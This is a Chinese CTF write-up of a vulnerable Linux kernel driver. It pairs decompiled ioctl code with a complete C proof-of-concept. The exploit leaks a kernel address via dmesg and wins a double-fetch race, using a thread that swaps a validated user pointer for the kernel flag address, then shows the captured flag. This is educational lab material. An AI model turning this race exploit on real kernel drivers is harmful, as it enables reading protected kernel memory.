存在问题的代码如下
signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
__int64 v2; // rdx@1
signed __int64 result; // rax@2
int i; // [sp-5Ch] [bp-5Ch]@8
__int64 v5; // [sp-58h] [bp-58h]@1
_fentry__(a1, a2);
v5 = v2;
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);// 打印flag地址
result = 0LL;
}
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 4952LL))// 判断a1+a2是否小于a3
&& !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 4952LL))// 第三个参数是一个常量: 0x7ffffffff000
&& *(_DWORD *)(v5 + 8) == strlen(flag) )// v5+8就是flag的长度
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )// 用户输入的内容和硬编码比较,如果一致了,就通过printk把flag打印出来
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);// 打印flag值
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
在0x1337中,分为两部分,第一部分
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 4952LL))// 判断a1+a2是否小于a3
&& !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 4952LL))// 第三个参数是一个常量: 0x7ffffffff000
&& *(_DWORD *)(v5 + 8) == strlen(flag) )// v5+8就是flag的长度
第二部分
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )// 用户输入的内容和硬编码比较,如果一致了,就通过printk把flag打印出来
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);// 打印flag值
result = 0LL;
}
我们可以在第一部分创建一个假的v5 struct通过验证,然后替换v5指针,让驱动读取到flag,exp如下
//poc.c
//gcc poc.c -o poc -w -static -pthread
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#define TRYTIME 0x1000
#define LEN 0x1000
struct attr
{
char *flag;
size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0}; //伪造的flag
void change_attr_value(void *s){
struct attr * s1 = s;
while(finish==0){
s1->flag = addr;
}
}
int main(void)
{
int addr_fd;
char *idx;
int fd = open("/dev/baby",0);
int ret = ioctl(fd,0x6666);
pthread_t t1;
struct attr t;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
system("dmesg > /tmp/record.txt"); //通过dmesg查看flag的地址
addr_fd = open("/tmp/record.txt",O_RDONLY);
lseek(addr_fd,-LEN,SEEK_END);
read(addr_fd,buf,LEN);
close(addr_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx+=16;
addr = strtoull(idx,idx+16,16);
printf("[+]flag addr: %p\n",addr);
}
t.len = 33;
t.flag = buf;
pthread_create(&t1, NULL, change_attr_value,&t);
for(int i=0;i<TRYTIME;i++){
ret = ioctl(fd, 0x1337, &t);
t.flag = buf; //In order to pass the first inspection,修改为伪造的flag
}
finish = 1;
pthread_join(t1, NULL); //等待线程结束
close(fd);
puts("[+]result is :");
system("dmesg | grep flag"); //通过dmesg查看flag的内容
return 0;
}
最终结果
/ $ ./exp
[+]flag addr: 0xfc01e4028
[+]result is :
[ 14.670075] Your flag is at fc01e4028! But I don't think you know it's
content
[ 14.692555] Looks like the flag is not a secret anymore. So here is it flag{T
HIS_WILL_BE_YOUR_FLAG_1234}